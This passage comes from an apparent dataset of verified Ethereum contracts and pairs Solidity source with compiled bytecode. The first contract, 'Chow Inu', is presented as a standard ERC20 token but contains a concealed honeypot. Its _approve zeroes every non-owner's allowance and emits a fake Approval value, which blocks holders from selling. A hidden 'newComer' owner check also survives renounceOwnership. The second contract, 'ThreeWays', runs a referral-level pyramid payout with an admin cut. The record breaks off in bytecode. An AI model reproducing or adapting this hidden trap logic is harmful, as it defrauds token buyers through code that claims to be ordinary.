return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Chow is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Chow Inu ' ;
string private _symbol = 'CHOWINU ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d094e3d8b5a7741ee3b4028349edddbaa6233a23e5d4e4db83715c6c07e2472364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,292 |
0xc1c52d5a0bd9d2ae02698f6105c0e18adb405e09
|
/**
*Submitted for verification at Etherscan.io on 2020-08-25
*/
/*
*
* ######## ## ## ######## ######## ######## ## ## ### ## ## ###### ## ## ## ## ########
* ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
* ## ## ## ## ## ## ## ## ## ## ## ## #### ## ## ## #### ##
* ## ######### ######## ###### ###### ## ## ## ## ## ## ###### ### ## ##
* ## ## ## ## ## ## ## ## ## ## ######### ## ## ## ## ## ##
* ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ##
* ## ## ## ## ## ######## ######## ### ### ## ## ## ###### ### ## ## ## ########
*
* Hello
* This is ThreeWays 1.0
* https://threeways.xyz
*
*/
pragma solidity 0.5.16;
// Owner Handler
contract ownerShip // Auction Contract Owner and OwherShip change
{
//Global storage declaration
address payable public ownerWallet;
address payable public newOwner;
//Event defined for ownership transfered
event OwnershipTransferredEv(address indexed previousOwner, address indexed newOwner);
//Sets owner only on first run
constructor() public
{
//Set contract owner
ownerWallet = msg.sender;
}
function transferOwnership(address payable _newOwner) public onlyOwner
{
newOwner = _newOwner;
}
//the reason for this flow is to protect owners from sending ownership to unintended address due to human error
function acceptOwnership() public
{
require(msg.sender == newOwner);
emit OwnershipTransferredEv(ownerWallet, newOwner);
ownerWallet = newOwner;
newOwner = address(0);
}
//This will restrict function only for owner where attached
modifier onlyOwner()
{
require(msg.sender == ownerWallet);
_;
}
}
contract threeWays is ownerShip {
uint public defaultRefID = 1; //this ref ID will be used if user joins without any ref ID
uint public constant maxDownLimit = 2;
uint public constant levelLifeTime = 31536000; // = 365 days;
uint public lastIDCount = 0;
struct userInfo {
bool joined;
uint id;
uint referrerID;
uint originalReferrer;
address[] referral;
mapping(uint => uint) levelExpired;
}
mapping(uint => uint) public priceOfLevel;
mapping (address => userInfo) public userInfos;
mapping (uint => address) public userAddressByID;
event regLevelEv(uint indexed _userID, address indexed _userWallet, uint indexed _referrerID, address _referrerWallet, uint _originalReferrer, uint _time);
event levelBuyEv(address indexed _user, uint _level, uint _amount, uint _time);
event paidForLevelEv(uint userID, address indexed _user, uint referralID, address indexed _referral, uint _level, uint _amount, uint _time);
event lostForLevelEv(uint userID, address indexed _user, uint referralID, address indexed _referral, uint _level, uint _amount, uint _time);
constructor() public {
priceOfLevel[1] = 0.1 ether;
priceOfLevel[2] = 0.2 ether;
priceOfLevel[3] = 0.4 ether;
priceOfLevel[4] = 0.8 ether;
priceOfLevel[5] = 1.6 ether;
priceOfLevel[6] = 3.2 ether;
priceOfLevel[7] = 6.4 ether;
priceOfLevel[8] = 12.8 ether;
userInfo memory UserInfo;
lastIDCount++;
UserInfo = userInfo({
joined: true,
id: lastIDCount,
referrerID: 0,
originalReferrer: 0,
referral: new address[](0)
});
userInfos[ownerWallet] = UserInfo;
userAddressByID[lastIDCount] = ownerWallet;
for(uint i = 1; i <= 8; i++) {
userInfos[ownerWallet].levelExpired[i] = 99999999999;
emit paidForLevelEv(lastIDCount, ownerWallet, 0, address(0), i, priceOfLevel[i], now);
}
emit regLevelEv(lastIDCount, msg.sender, 0, address(0), 0, now);
}
function () external payable {
uint level;
if(msg.value == priceOfLevel[1]) level = 1;
else if(msg.value == priceOfLevel[2]) level = 2;
else if(msg.value == priceOfLevel[3]) level = 3;
else if(msg.value == priceOfLevel[4]) level = 4;
else if(msg.value == priceOfLevel[5]) level = 5;
else if(msg.value == priceOfLevel[6]) level = 6;
else if(msg.value == priceOfLevel[7]) level = 7;
else if(msg.value == priceOfLevel[8]) level = 8;
else revert('Incorrect Value send');
if(userInfos[msg.sender].joined) buyLevel(msg.sender, level);
else if(level == 1) {
uint refId = 0;
address referrer = bytesToAddress(msg.data);
if(userInfos[referrer].joined) refId = userInfos[referrer].id;
else revert('Incorrect referrer');
regUser(msg.sender, refId);
}
else revert('Please buy first level for 0.1 ETH');
}
function regUser(address _user, uint _referrerID) public payable returns(bool) {
if(!(_referrerID > 0 && _referrerID <= lastIDCount)) _referrerID = defaultRefID;
uint originalReferrer = _referrerID;
require(!userInfos[_user].joined, 'User exists');
if(msg.sender != ownerWallet){
require(msg.value == priceOfLevel[1], 'Incorrect Value');
require(msg.sender == _user, 'Invalid user');
}
if(userInfos[userAddressByID[_referrerID]].referral.length >= maxDownLimit){
_referrerID = userInfos[findFreeReferrer(userAddressByID[_referrerID])].id;
}
userInfo memory UserInfo;
lastIDCount++;
UserInfo = userInfo({
joined: true,
id: lastIDCount,
referrerID: _referrerID,
originalReferrer: originalReferrer,
referral: new address[](0)
});
userInfos[_user] = UserInfo;
userAddressByID[lastIDCount] = _user;
userInfos[_user].levelExpired[1] = now + levelLifeTime;
userInfos[userAddressByID[_referrerID]].referral.push(_user);
if(msg.sender != ownerWallet){
payForCycle(1, _user); //pay to uplines
}
emit regLevelEv(lastIDCount, _user, _referrerID, userAddressByID[_referrerID], originalReferrer, now);
return true;
}
function buyLevel(address _user, uint _level) public payable {
require(userInfos[_user].joined, 'User not exist');
require(_level > 0 && _level < 9, 'Incorrect level');
if(msg.sender != ownerWallet){
require(msg.value == priceOfLevel[_level], 'Incorrect Value');
require(msg.sender == _user, 'Invalid user');
}
if(_level == 1) {
userInfos[_user].levelExpired[1] += levelLifeTime;
}
else {
for(uint l =_level - 1; l > 0; l--) require(userInfos[_user].levelExpired[l] >= now, 'Buy the previous level first');
if(userInfos[_user].levelExpired[_level] == 0) userInfos[_user].levelExpired[_level] = now + levelLifeTime;
else userInfos[_user].levelExpired[_level] += levelLifeTime;
}
if(msg.sender != ownerWallet){
payForCycle(_level, _user); //pay to uplines.
}
emit levelBuyEv(_user, _level, msg.value, now);
}
function payForCycle(uint _level, address _user) internal {
address referrer;
address referrer1;
address def = userAddressByID[defaultRefID];
uint256 price = priceOfLevel[_level] * 4500 / 10000;
uint256 adminPart = price * 10000 / 45000;
referrer = findValidUpline(_user, _level);
referrer1 = findValidUpline(referrer, _level);
if(!userInfos[referrer].joined)
{
address(uint160(def)).transfer(price);
emit lostForLevelEv(userInfos[referrer].id, referrer, userInfos[_user].id, _user, _level, price, now);
}
else
{
address(uint160(referrer)).transfer(price);
emit paidForLevelEv(userInfos[referrer].id, referrer, userInfos[_user].id, _user, _level, price, now);
}
if(!userInfos[referrer1].joined || !(userInfos[_user].levelExpired[_level] >= now ) )
{
address(uint160(def)).transfer(price);
emit lostForLevelEv(userInfos[referrer1].id, referrer1, userInfos[_user].id, _user, _level, price, now);
}
else
{
address(uint160(referrer1)).transfer(price);
emit paidForLevelEv(userInfos[referrer1].id, referrer1, userInfos[_user].id, _user, _level, price, now);
}
ownerWallet.transfer(adminPart);
}
function findValidUpline(address _user, uint _level) internal view returns(address)
{
for(uint i=0;i<64;i++)
{
_user = userAddressByID[userInfos[_user].referrerID];
if(userInfos[_user].levelExpired[_level] >= now ) break;
}
if(!(userInfos[_user].levelExpired[_level] >= now )) _user = userAddressByID[defaultRefID];
return _user;
}
function findFreeReferrer(address _user) public view returns(address) {
if(userInfos[_user].referral.length < maxDownLimit) return _user;
address[] memory referrals = new address[](126);
referrals[0] = userInfos[_user].referral[0];
referrals[1] = userInfos[_user].referral[1];
address freeReferrer;
bool noFreeReferrer = true;
for(uint i = 0; i < 126; i++) {
if(userInfos[referrals[i]].referral.length == maxDownLimit) {
if(i < 62) {
referrals[(i+1)*2] = userInfos[referrals[i]].referral[0];
referrals[(i+1)*2+1] = userInfos[referrals[i]].referral[1];
}
else {
break;
}
}
else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function viewUserReferral(address _user) public view returns(address[] memory) {
return userInfos[_user].referral;
}
function viewUserLevelExpired(address _user, uint _level) public view returns(uint) {
return userInfos[_user].levelExpired[_level];
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function changeDefaultRefID(uint newDefaultRefID) onlyOwner public returns(string memory){
//this ref ID will be assigned to user who joins without any referral ID.
defaultRefID = newDefaultRefID;
return("Default Ref ID updated successfully");
}
function viewTimestampSinceJoined(address usr) public view returns(uint256[8] memory timeSinceJoined )
{
if(userInfos[usr].joined)
{
for(uint256 i=0;i<8;i++)
{
uint256 t = userInfos[usr].levelExpired[i+1];
if(t>now)
{
timeSinceJoined[i] = (t-now);
}
}
}
return timeSinceJoined;
}
function ownerOnlyCreateUser(address[] memory _user ) public onlyOwner returns(bool)
{
require(_user.length <= 50, "invalid input");
for(uint i=0; i < _user.length; i++ )
{
require(regUser(_user[i], 1), "registration fail");
}
return true;
}
}
|
0x6080604052600436106101145760003560e01c806379ba5097116100a0578063d284007311610064578063d284007314610add578063d4ee1d9014610b4c578063efa192f214610ba3578063f1e1e13f14610bf1578063f2fde38b14610c1c57610114565b806379ba5097146108b3578063813d2714146108ca5780639335dcb71461097e578063c2afdda7146109d5578063c7cc801114610a0057610114565b80634a4baa8f116100e75780634a4baa8f146106d65780634dcae9471461077c57806353c9e62e146107f7578063641c108f1461085d5780636554266c1461088857610114565b8063064cc964146104eb578063132c8c9b1461057857806324a6862a1461060957806343b0215f14610658575b600060046000600181526020019081526020016000205434141561013b57600190506102b3565b60046000600281526020019081526020016000205434141561016057600290506102b2565b60046000600381526020019081526020016000205434141561018557600390506102b1565b6004600060048152602001908152602001600020543414156101aa57600490506102b0565b6004600060058152602001908152602001600020543414156101cf57600590506102af565b6004600060068152602001908152602001600020543414156101f457600690506102ae565b60046000600781526020019081526020016000205434141561021957600790506102ad565b60046000600881526020019081526020016000205434141561023e57600890506102ac565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e636f72726563742056616c75652073656e6400000000000000000000000081525060200191505060405180910390fd5b5b5b5b5b5b5b5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615610317576103123382610c6d565b6104e8565b600181141561049657600080905060006103756000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050611274565b9050600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161561041657600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549150610484565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e636f7272656374207265666572726572000000000000000000000000000081525060200191505060405180910390fd5b61048e3383611282565b5050506104e7565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061303f6022913960400191505060405180910390fd5b5b50005b3480156104f757600080fd5b5061053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119b6565b6040518082600860200280838360005b8381101561056557808201518184015260208101905061054a565b5050505090500191505060405180910390f35b34801561058457600080fd5b506105c76004803603602081101561059b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ab6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561061557600080fd5b506106426004803603602081101561062c57600080fd5b8101908080359060200190929190505050611fb2565b6040518082815260200191505060405180910390f35b34801561066457600080fd5b506106a76004803603602081101561067b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fca565b604051808515151515815260200184815260200183815260200182815260200194505050505060405180910390f35b3480156106e257600080fd5b50610725600480360360208110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612007565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561076857808201518184015260208101905061074d565b505050509050019250505060405180910390f35b34801561078857600080fd5b506107b56004803603602081101561079f57600080fd5b81019080803590602001909291905050506120d7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108436004803603604081101561080d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611282565b604051808215151515815260200191505060405180910390f35b34801561086957600080fd5b5061087261210a565b6040518082815260200191505060405180910390f35b34801561089457600080fd5b5061089d612110565b6040518082815260200191505060405180910390f35b3480156108bf57600080fd5b506108c8612115565b005b3480156108d657600080fd5b50610903600480360360208110156108ed57600080fd5b81019080803590602001909291905050506122b2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610943578082015181840152602081019050610928565b50505050905090810190601f1680156109705780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561098a57600080fd5b50610993612334565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109e157600080fd5b506109ea612359565b6040518082815260200191505060405180910390f35b348015610a0c57600080fd5b50610ac360048036036020811015610a2357600080fd5b8101908080359060200190640100000000811115610a4057600080fd5b820183602082011115610a5257600080fd5b80359060200191846020830284011164010000000083111715610a7457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612361565b604051808215151515815260200191505060405180910390f35b348015610ae957600080fd5b50610b3660048036036040811015610b0057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506124ea565b6040518082815260200191505060405180910390f35b348015610b5857600080fd5b50610b61612548565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610bef60048036036040811015610bb957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c6d565b005b348015610bfd57600080fd5b50610c0661256e565b6040518082815260200191505060405180910390f35b348015610c2857600080fd5b50610c6b60048036036020811015610c3f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612574565b005b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16610d2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f55736572206e6f7420657869737400000000000000000000000000000000000081525060200191505060405180910390fd5b600081118015610d3f5750600981105b610db1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f7272656374206c6576656c000000000000000000000000000000000081525060200191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f2f5760046000828152602001908152602001600020543414610e8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f2e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f496e76616c69642075736572000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b6001811415610fa3576301e13380600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600060018152602001908152602001600020600082825401925050819055506111b3565b60006001820390505b600081111561108c5742600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600083815260200190815260200160002054101561107e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f427579207468652070726576696f7573206c6576656c2066697273740000000081525060200191505060405180910390fd5b808060019003915050610fac565b506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600083815260200190815260200160002054141561114c576301e133804201600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000838152602001908152602001600020819055506111b2565b6301e13380600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000838152602001908152602001600020600082825401925050819055505b5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611212576112118183612611565b5b8173ffffffffffffffffffffffffffffffffffffffff167ff5f484ee3d635738bdec948ed09f313573438a5cd84840aa0c1991eaf37df54a82344260405180848152602001838152602001828152602001935050505060405180910390a25050565b600060148201519050919050565b6000808211801561129557506003548211155b61129f5760025491505b6000829050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f557365722065786973747300000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffff